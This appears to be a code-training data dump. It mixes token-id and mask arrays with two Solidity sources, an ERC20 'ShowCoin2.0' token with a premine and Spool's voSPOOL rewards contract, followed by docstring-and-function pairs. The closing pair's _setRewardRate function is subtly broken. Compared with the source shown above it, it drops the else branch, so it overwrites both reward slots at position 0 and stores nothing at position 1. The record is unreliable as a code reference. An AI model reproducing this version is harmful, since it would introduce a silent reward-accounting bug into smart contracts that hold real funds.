[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 4525, 12, 2867, 6252, 16, 1731, 745, 892, 1208, 751, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 10799, 12, 15468, 16, 389, 3576, 12021, 10756, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 4232, 39, 28275, 8847, 18, 28064, 1358, 12, 203, 7734, 6252, 16, 203, 7734, 618, 12, 1285, 1345, 4525, 2934, 5831, 548, 203, 5411, 262, 16, 203, 5411, 315, 56, 292, 749, 30, 6252, 1552, 486, 2865, 24142, 1345, 4525, 6, 203, 3639, 11272, 203, 3639, 272, 7675, 14914, 273, 6252, 31, 203, 3639, 309, 261, 2738, 751, 18, 2469, 405, 374, 13, 288, 203, 5411, 389, 22216, 4525, 12, 2738, 751, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } } contract ShowCoinToken is StandardToken { string public name; string public symbol; uint8 public decimals; constructor( address initialAccount ) public { name = "ShowCoin2.0"; symbol = "Show"; decimals = 18; totalSupply_ = 1e28; balances[initialAccount] = 9e27; emit Transfer(address(0), initialAccount, 9e27); balances[0xC9BA6e5Eda033c66D34ab64d02d14590963Ce0c2]=totalSupply_.sub(balances[initialAccount]); emit Transfer(address(0), 0xC9BA6e5Eda033c66D34ab64d02d14590963Ce0c2, totalSupply_.sub(balances[initialAccount])); } }
* @title SafeMath @dev Math operations with safety checks that throw on error/
library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
1,299,841
[ 1, 9890, 10477, 225, 2361, 5295, 598, 24179, 4271, 716, 604, 603, 555, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 10477, 288, 203, 203, 225, 445, 720, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 1815, 12, 70, 1648, 279, 1769, 203, 565, 327, 279, 300, 324, 31, 203, 225, 289, 203, 203, 225, 445, 527, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 276, 13, 288, 203, 565, 276, 273, 279, 397, 324, 31, 203, 565, 1815, 12, 71, 1545, 279, 1769, 203, 565, 327, 276, 31, 203, 225, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "./external/spool-core/SpoolOwnable.sol"; import "./interfaces/IVoSpoolRewards.sol"; import "./interfaces/IVoSPOOL.sol"; /* ========== STRUCTS ========== */ /** * @notice Defines amount of emitted rewards per tranche for a range of tranches * @member fromTranche marks first tranche the reward rate is valid for * @member toTranche marks tranche index when the reward becomes invalid (when `toTranche` is reached, the configuration is no more valid) * @member rewardPerTranche amount of emitted rewards per tranche */ struct VoSpoolRewardRate { uint8 fromTranche; uint8 toTranche; uint112 rewardPerTranche; // rewards per tranche } /** * @notice struct solding two VoSpoolRewardRate structs * @dev made to pack multiple structs in one word * @member zero VoSpoolRewardRate at position 0 * @member one VoSpoolRewardRate at position 1 */ struct VoSpoolRewardRates { VoSpoolRewardRate zero; VoSpoolRewardRate one; } /** * @notice voSPOOL reward state for user * @member lastRewardRateIndex last reward rate index user has used (refers to VoSpoolRewardConfiguration.voSpoolRewardRates mapping and VoSpoolRewardRates index) * @member earned total rewards user has accumulated */ struct VoSpoolRewardUser { uint8 lastRewardRateIndex; uint248 earned; } /** * @notice voSPOOL reward configuration * @member rewardRatesIndex last set reward rate index for voSpoolRewardRates mapping (acts similar to an array length parameter) * @member hasRewards flag marking if the contract is emitting rewards for new tranches * @member lastSetRewardTranche last reward tranche index we've set the congiguration for */ struct VoSpoolRewardConfiguration { uint240 rewardRatesIndex; bool hasRewards; uint8 lastSetRewardTranche; } /** * @notice Implementation of the {IVoSpoolRewards} interface. * * @dev * This contract implements the logic to calculate and distribute * SPOOL token rewards to according to users gradual voSPOOL balance. * Spool DAO Voting Token (voSPOOL) is an inflationary token as it * increases power over the period of 3 years. * * This contract assumes only SPOOL Staking is updating gradual mint, as * well as that the voSPOOL state has not been updated prior calling * the updateRewards function. * * Only Spool DAO can add, update and end rewards. * Only SPOOL Staking contract can update this contract. */ contract VoSpoolRewards is SpoolOwnable, IVoSpoolRewards { /* ========== CONSTANTS ========== */ /// @notice amount of tranches to mature to full power uint256 private constant FULL_POWER_TRANCHES_COUNT = 52 * 3; /// @notice number of tranche amounts stored in one 256bit word uint256 private constant TRANCHES_PER_WORD = 5; /* ========== STATE VARIABLES ========== */ /// @notice Spool staking contract /// @dev Controller of this contract address public immutable spoolStaking; /// @notice Spool DAO Voting Token (voSPOOL) implementation IVoSPOOL public immutable voSpool; /// @notice Vault reward token incentive configuration VoSpoolRewardConfiguration public voSpoolRewardConfig; /// @notice Reward of SPOOL token distribution per tranche /// @dev We save all reward updates so we can apply it to a user even if the configuration changes after mapping(uint256 => VoSpoolRewardRates) public voSpoolRewardRates; /// @notice Stores values for user rewards mapping(address => VoSpoolRewardUser) public userRewards; /// @notice Stores values for global gradual voSPOOL power for every tranche /// @dev Only stores if the reward is active. We store 5 values per word. mapping(uint256 => uint256) private _tranchePowers; /* ========== CONSTRUCTOR ========== */ /** * @notice Sets the immutable values * * @param _spoolStaking Spool staking contract * @param _voSpool voSPOOL contract * @param _spoolOwner Spool DAO owner contract */ constructor( address _spoolStaking, IVoSPOOL _voSpool, ISpoolOwner _spoolOwner ) SpoolOwnable(_spoolOwner) { spoolStaking = _spoolStaking; voSpool = _voSpool; } /* ========== REWARD CONFIGURATION ========== */ /** * @notice Update SPOOL rewards distributed relative to voSPOOL power * @dev We distribute `rewardPerTranche` rewards every tranche up to `toTranche` index * * Requirements: * * - the caller must be the Spool DAO * - reward per tranche must be more than 0 * - last reward shouldn't be set after first gradual power starts maturing * - reward must be set for the future tranches * * @param toTranche update to `toTranche` index * @param rewardPerTranche amount of SPOOL token rewards distributed every tranche */ function updateVoSpoolRewardRate(uint8 toTranche, uint112 rewardPerTranche) external onlyOwner { require(rewardPerTranche > 0, "VoSpoolRewards::updateVoSpoolRewardRate: Cannot update reward rate to 0"); // cannot add rewards after first tranche is fully-matured (3 years) require( toTranche <= FULL_POWER_TRANCHES_COUNT, "VoSpoolRewards::updateVoSpoolRewardRate: Cannot set rewards after power starts maturing" ); uint8 currentTrancheIndex = uint8(voSpool.getCurrentTrancheIndex()); require( toTranche > currentTrancheIndex, "VoSpoolRewards::updateVoSpoolRewardRate: Cannot set rewards for finished tranches" ); uint256 rewardRatesIndex = voSpoolRewardConfig.rewardRatesIndex; VoSpoolRewardRate memory voSpoolRewardRate = VoSpoolRewardRate( currentTrancheIndex, toTranche, rewardPerTranche ); if (rewardRatesIndex == 0) { voSpoolRewardRates[0].one = voSpoolRewardRate; rewardRatesIndex = 1; } else { VoSpoolRewardRate storage previousRewardRate = _getRewardRate(rewardRatesIndex); // update previous reward rate if still active to end at current index if (previousRewardRate.toTranche > currentTrancheIndex) { // if current rewards did not start yet, overwrite them and return if (previousRewardRate.fromTranche == currentTrancheIndex) { _setRewardRate(voSpoolRewardRate, rewardRatesIndex); voSpoolRewardConfig = VoSpoolRewardConfiguration(uint240(rewardRatesIndex), true, toTranche); return; } previousRewardRate.toTranche = currentTrancheIndex; } unchecked { rewardRatesIndex++; } // set the new reward rate _setRewardRate(voSpoolRewardRate, rewardRatesIndex); } // store update to reward configuration voSpoolRewardConfig = VoSpoolRewardConfiguration(uint240(rewardRatesIndex), true, toTranche); emit RewardRateUpdated( voSpoolRewardRate.fromTranche, voSpoolRewardRate.toTranche, voSpoolRewardRate.rewardPerTranche ); } /** * @notice End SPOOL rewards at current index * @dev * * Requirements: * * - the caller must be the Spool DAO * - reward must be active */ function endVoSpoolReward() external onlyOwner { uint8 currentTrancheIndex = uint8(voSpool.getCurrentTrancheIndex()); uint256 rewardRatesIndex = voSpoolRewardConfig.rewardRatesIndex; require(rewardRatesIndex > 0, "VoSpoolRewards::endVoSpoolReward: No rewards configured"); VoSpoolRewardRate storage currentRewardRate = _getRewardRate(rewardRatesIndex); require( currentRewardRate.toTranche > currentTrancheIndex, "VoSpoolRewards::endVoSpoolReward: Rewards already ended" ); emit RewardEnded( rewardRatesIndex, currentRewardRate.fromTranche, currentRewardRate.toTranche, currentTrancheIndex ); // if current rewards did not start yet, remove them if (currentRewardRate.fromTranche == currentTrancheIndex) { _resetRewardRate(rewardRatesIndex); unchecked { rewardRatesIndex--; } if (rewardRatesIndex == 0) { voSpoolRewardConfig = VoSpoolRewardConfiguration(0, false, 0); return; } } else { currentRewardRate.toTranche = currentTrancheIndex; } voSpoolRewardConfig = VoSpoolRewardConfiguration(uint240(rewardRatesIndex), false, currentTrancheIndex); } /* ========== REWARD UPDATES ========== */ /** * @notice Return user rewards earned value and reset it to 0. * @dev * The rewards are then processed by the Spool staking contract. * * Requirements: * * - the caller must be the Spool staking contract * * @param user User to flush */ function flushRewards(address user) external override onlySpoolStaking returns (uint256) { uint256 userEarned = userRewards[user].earned; if (userEarned > 0) { userRewards[user].earned = 0; } return userEarned; } /** * @notice Update rewards for a user. * @dev * This has to be called before we update the gradual power storage in * the voSPOOL contract for the contract to work as indended. * We update the global values if new indexes have passed between our last call. * * Requirements: * * - the caller must be the Spool staking contract * * @param user User to update */ function updateRewards(address user) external override onlySpoolStaking returns (uint256) { if (voSpoolRewardConfig.rewardRatesIndex == 0) return 0; // if rewards are not active do not the gradual amounts if (voSpoolRewardConfig.hasRewards) { _storeVoSpoolForNewIndexes(); } _updateUserVoSpoolRewards(user); return userRewards[user].earned; } /** * @notice Store total gradual voSPOOL amount for every new tranche index since last call. * @dev * This function assumes that the voSPOOL state has not been * updated prior to calling this function. * * We retrieve the not updated state from voSPOOL contract, simulate * gradual increase of shares for every new tranche and store the * value for later use. */ function _storeVoSpoolForNewIndexes() private { // check if there are any active rewards uint256 lastFinishedTrancheIndex = voSpool.getLastFinishedTrancheIndex(); GlobalGradual memory global = voSpool.getNotUpdatedGlobalGradual(); // return if no new indexes passed if (global.lastUpdatedTrancheIndex >= lastFinishedTrancheIndex) { return; } uint256 lastSetRewardTranche = voSpoolRewardConfig.lastSetRewardTranche; uint256 trancheIndex = global.lastUpdatedTrancheIndex; do { // if there are no more rewards return as we don't need to store anything if (trancheIndex >= lastSetRewardTranche) { // update config hasRewards to false if rewards are not active voSpoolRewardConfig.hasRewards = false; return; } trancheIndex++; global.totalRawUnmaturedVotingPower += global.totalMaturingAmount; // store gradual power for `trancheIndex` to `_tranchePowers` _storeTranchePowerForIndex( _getMaturingVotingPowerFromRaw(global.totalRawUnmaturedVotingPower), trancheIndex ); } while (trancheIndex < lastFinishedTrancheIndex); } /** * @notice Update user reward earnings for every new tranche index since the last update * @dev * This function assumes that the voSPOOL state has not been * updated prior to calling this function. * * _storeVoSpoolForNewIndexes function should be called before * to store the global state. * * We use very similar techniques as voSPOOL to calculate * user gradual voting power for every index */ function _updateUserVoSpoolRewards(address user) private { UserGradual memory userGradual = voSpool.getNotUpdatedUserGradual(user); if (userGradual.maturingAmount == 0) { userRewards[user].lastRewardRateIndex = uint8(voSpoolRewardConfig.rewardRatesIndex); return; } uint256 lastFinishedTrancheIndex = voSpool.getLastFinishedTrancheIndex(); uint256 trancheIndex = userGradual.lastUpdatedTrancheIndex; // update user if tranche indexes have passed since last user update if (trancheIndex < lastFinishedTrancheIndex) { VoSpoolRewardUser memory voSpoolRewardUser = userRewards[user]; // map the configured reward rates since last time we used it VoSpoolRewardRate[] memory voSpoolRewardRatesArray = _getRewardRatesForIndex( voSpoolRewardUser.lastRewardRateIndex ); // `voSpoolRewardRatesArray` array index we're currently using // to retrieve the reward rate belonging to `trancheIndex` // when we reach `rewardRate.toTranche`, we increment `vsrrI`, // and use the updated reward rate to store the reward for // the corresponding index. uint256 vsrrI = 0; VoSpoolRewardRate memory rewardRate = voSpoolRewardRatesArray[0]; do { unchecked { trancheIndex++; } // if current reward rate is not valid anymore try getting the next one if (trancheIndex >= rewardRate.toTranche) { unchecked { vsrrI++; } // check if we reached last element in the array if (vsrrI < voSpoolRewardRatesArray.length) { rewardRate = voSpoolRewardRatesArray[vsrrI]; } else { // if last tranche in an array, there are no more configured rewards // break the loop to save on gas break; } } // add user maturingAmount for every index userGradual.rawUnmaturedVotingPower += userGradual.maturingAmount; if (trancheIndex >= rewardRate.fromTranche) { // get actual voting power from raw unmatured voting power uint256 userPower = _getMaturingVotingPowerFromRaw(userGradual.rawUnmaturedVotingPower); // get tranche power for `trancheIndex` // we stored it when callint _storeVoSpoolForNewIndexes function uint256 tranchePowerAtIndex = getTranchePower(trancheIndex); // calculate users earned rewards for index based on // 1. reward rate for `trancheIndex` // 2. user power for `trancheIndex` // 3. global tranche power for `trancheIndex` if (tranchePowerAtIndex > 0) { voSpoolRewardUser.earned += uint248( (rewardRate.rewardPerTranche * userPower) / tranchePowerAtIndex ); } } // update rewards until we reach last finished tranche index } while (trancheIndex < lastFinishedTrancheIndex); // store the updated user value voSpoolRewardUser.lastRewardRateIndex = uint8(voSpoolRewardConfig.rewardRatesIndex); userRewards[user] = voSpoolRewardUser; emit UserRewardUpdated(user, voSpoolRewardUser.lastRewardRateIndex, voSpoolRewardUser.earned); } } /* ========== HELPERS ========== */ /** * @notice Store the new reward rate to `voSpoolRewardRates` mapping * * @param voSpoolRewardRate struct to store * @param rewardRatesIndex reward rates intex to use when storing the `voSpoolRewardRate` */ function _setRewardRate(VoSpoolRewardRate memory voSpoolRewardRate, uint256 rewardRatesIndex) private { uint256 arrayIndex = rewardRatesIndex / 2; uint256 position = rewardRatesIndex % 2; if (position == 0) { voSpoolRewardRates[arrayIndex].zero = voSpoolRewardRate; } else { voSpoolRewardRates[arrayIndex].one = voSpoolRewardRate; } } /** * @notice Reset the storage the `voSpoolRewardRates` for `rewardRatesIndex` index * * @param rewardRatesIndex index to reset the storage for */ function _resetRewardRate(uint256 rewardRatesIndex) private { _setRewardRate(VoSpoolRewardRate(0, 0, 0), rewardRatesIndex); } /** * @notice Retrieve the reward rate for index from storage * * @param rewardRatesIndex index to retrieve for * @return voSpoolRewardRate storage pointer to the desired reward rate struct */ function _getRewardRate(uint256 rewardRatesIndex) private view returns (VoSpoolRewardRate storage) { uint256 arrayIndex = rewardRatesIndex / 2; uint256 position = rewardRatesIndex % 2; if (position == 0) { return voSpoolRewardRates[arrayIndex].zero; } else { return voSpoolRewardRates[arrayIndex].one; } } /** * @notice Returns all reward rates in an array between last user update and now * @dev Returns an array for simpler access when updating user reward rates for indexes * * @param userLastRewardRateIndex last index user updated * @return voSpoolRewardRatesArray memory array of reward rates */ function _getRewardRatesForIndex(uint256 userLastRewardRateIndex) private view returns (VoSpoolRewardRate[] memory) { if (userLastRewardRateIndex == 0) userLastRewardRateIndex = 1; uint256 lastRewardRateIndex = voSpoolRewardConfig.rewardRatesIndex; uint256 newRewardRatesCount = lastRewardRateIndex - userLastRewardRateIndex + 1; VoSpoolRewardRate[] memory voSpoolRewardRatesArray = new VoSpoolRewardRate[](newRewardRatesCount); uint256 j = 0; for (uint256 i = userLastRewardRateIndex; i <= lastRewardRateIndex; i++) { voSpoolRewardRatesArray[j] = _getRewardRate(i); unchecked { j++; } } return voSpoolRewardRatesArray; } /** * @notice Store global gradual tranche `power` at tranche `index` * @dev * We know the `power` is always represented with 48bits or less. * We use this information to store 5 `power` values of consecutive * indexes per word. * * @param power global gradual tranche power at `index` * @param index tranche index at which to store */ function _storeTranchePowerForIndex(uint256 power, uint256 index) private { uint256 arrayindex = index / TRANCHES_PER_WORD; uint256 globalTranchesPosition = index % TRANCHES_PER_WORD; if (globalTranchesPosition == 1) { power = power << 48; } else if (globalTranchesPosition == 2) { power = power << 96; } else if (globalTranchesPosition == 3) { power = power << 144; } else if (globalTranchesPosition == 4) { power = power << 192; } unchecked { _tranchePowers[arrayindex] += power; } } /** * @notice Retrieve global gradual tranche power at `index` * @dev Same, but reversed, mechanism is used to retrieve the power at index * * @param index tranche index at which to retrieve the power value * @return power global gradual tranche power at `index` */ function getTranchePower(uint256 index) public view returns (uint256) { uint256 arrayindex = index / TRANCHES_PER_WORD; uint256 powers = _tranchePowers[arrayindex]; uint256 globalTranchesPosition = index % TRANCHES_PER_WORD; if (globalTranchesPosition == 0) { return (powers << 208) >> 208; } else if (globalTranchesPosition == 1) { return (powers << 160) >> 208; } else if (globalTranchesPosition == 2) { return (powers << 112) >> 208; } else if (globalTranchesPosition == 3) { return (powers << 64) >> 208; } else { return (powers << 16) >> 208; } } /** * @notice calculates voting power from raw unmatured * * @param rawMaturingVotingPower raw maturing voting power amount * @return maturingVotingPower actual maturing power amount */ function _getMaturingVotingPowerFromRaw(uint256 rawMaturingVotingPower) private pure returns (uint256) { return rawMaturingVotingPower / FULL_POWER_TRANCHES_COUNT; } /* ========== RESTRICTION FUNCTIONS ========== */ /** * @dev Ensures the caller is the SPOOL Staking contract */ function _onlySpoolStaking() private view { require(msg.sender == spoolStaking, "VoSpoolRewards::_onlySpoolStaking: Insufficient Privileges"); } /* ========== MODIFIERS ========== */ /** * @dev Throws if the caller is not the SPOOL Staking contract */ modifier onlySpoolStaking() { _onlySpoolStaking(); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "./interfaces/ISpoolOwner.sol"; abstract contract SpoolOwnable { ISpoolOwner internal immutable spoolOwner; constructor(ISpoolOwner _spoolOwner) { require( address(_spoolOwner) != address(0), "SpoolOwnable::constructor: Spool owner contract address cannot be 0" ); spoolOwner = _spoolOwner; } function isSpoolOwner() internal view returns(bool) { return spoolOwner.isSpoolOwner(msg.sender); } function _onlyOwner() internal view { require(isSpoolOwner(), "SpoolOwnable::onlyOwner: Caller is not the Spool owner"); } modifier onlyOwner() { _onlyOwner(); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface ISpoolOwner { function isSpoolOwner(address user) external view returns(bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; /* ========== STRUCTS ========== */ /** * @notice global gradual struct * @member totalMaturedVotingPower total fully-matured voting power amount * @member totalMaturingAmount total maturing amount (amount of power that is accumulating every week for 1/156 of the amount) * @member totalRawUnmaturedVotingPower total raw voting power still maturing every tranche (totalRawUnmaturedVotingPower/156 is its voting power) * @member lastUpdatedTrancheIndex last (finished) tranche index global gradual has updated */ struct GlobalGradual { uint48 totalMaturedVotingPower; uint48 totalMaturingAmount; uint56 totalRawUnmaturedVotingPower; uint16 lastUpdatedTrancheIndex; } /** * @notice user tranche position struct, pointing at user tranche * @dev points at `userTranches` mapping * @member arrayIndex points at `userTranches` * @member position points at UserTranches position from zero to three (zero, one, two, or three) */ struct UserTranchePosition { uint16 arrayIndex; uint8 position; } /** * @notice user gradual struct, similar to global gradual holds user gragual voting power values * @dev points at `userTranches` mapping * @member maturedVotingPower users fully-matured voting power amount * @member maturingAmount users maturing amount * @member rawUnmaturedVotingPower users raw voting power still maturing every tranche * @member oldestTranchePosition UserTranchePosition pointing at the oldest unmatured UserTranche * @member latestTranchePosition UserTranchePosition pointing at the latest unmatured UserTranche * @member lastUpdatedTrancheIndex last (finished) tranche index user gradual has updated */ struct UserGradual { uint48 maturedVotingPower; // matured voting amount, power accumulated and older than FULL_POWER_TIME, not accumulating anymore uint48 maturingAmount; // total maturing amount (also maximum matured) uint56 rawUnmaturedVotingPower; // current user raw unmatured voting power (increases every new tranche), actual unmatured voting power can be calculated as unmaturedVotingPower / FULL_POWER_TRANCHES_COUNT UserTranchePosition oldestTranchePosition; // if arrayIndex is 0, user has no tranches (even if `latestTranchePosition` is not empty) UserTranchePosition latestTranchePosition; // can only increment, in case of tranche removal, next time user gradually mints we point at tranche at next position uint16 lastUpdatedTrancheIndex; } /** * @title Spool DAO Voting Token interface */ interface IVoSPOOL { /* ========== FUNCTIONS ========== */ function mint(address, uint256) external; function burn(address, uint256) external; function mintGradual(address, uint256) external; function burnGradual( address, uint256, bool ) external; function updateVotingPower() external; function updateUserVotingPower(address user) external; function getTotalGradualVotingPower() external returns (uint256); function getUserGradualVotingPower(address user) external returns (uint256); function getNotUpdatedUserGradual(address user) external view returns (UserGradual memory); function getNotUpdatedGlobalGradual() external view returns (GlobalGradual memory); function getCurrentTrancheIndex() external view returns (uint16); function getLastFinishedTrancheIndex() external view returns (uint16); /* ========== EVENTS ========== */ event Minted(address indexed recipient, uint256 amount); event Burned(address indexed source, uint256 amount); event GradualMinted(address indexed recipient, uint256 amount); event GradualBurned(address indexed source, uint256 amount, bool burnAll); event GlobalGradualUpdated( uint16 indexed lastUpdatedTrancheIndex, uint48 totalMaturedVotingPower, uint48 totalMaturingAmount, uint56 totalRawUnmaturedVotingPower ); event UserGradualUpdated( address indexed user, uint16 indexed lastUpdatedTrancheIndex, uint48 maturedVotingPower, uint48 maturingAmount, uint56 rawUnmaturedVotingPower ); event MinterSet(address indexed minter, bool set); event GradualMinterSet(address indexed minter, bool set); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface IVoSpoolRewards { /* ========== FUNCTIONS ========== */ function updateRewards(address user) external returns (uint256); function flushRewards(address user) external returns (uint256); /* ========== EVENTS ========== */ event RewardRateUpdated(uint8 indexed fromTranche, uint8 indexed toTranche, uint112 rewardPerTranche); event RewardEnded( uint256 indexed rewardRatesIndex, uint8 indexed fromTranche, uint8 indexed toTranche, uint8 currentTrancheIndex ); event UserRewardUpdated(address indexed user, uint8 lastRewardRateIndex, uint248 earned); }
* @notice Store the new reward rate to `voSpoolRewardRates` mapping @param voSpoolRewardRate struct to store @param rewardRatesIndex reward rates intex to use when storing the `voSpoolRewardRate`/
function _setRewardRate(VoSpoolRewardRate memory voSpoolRewardRate, uint256 rewardRatesIndex) private { uint256 arrayIndex = rewardRatesIndex / 2; uint256 position = rewardRatesIndex % 2; if (position == 0) { voSpoolRewardRates[arrayIndex].zero = voSpoolRewardRate; voSpoolRewardRates[arrayIndex].one = voSpoolRewardRate; } }
11,662,449
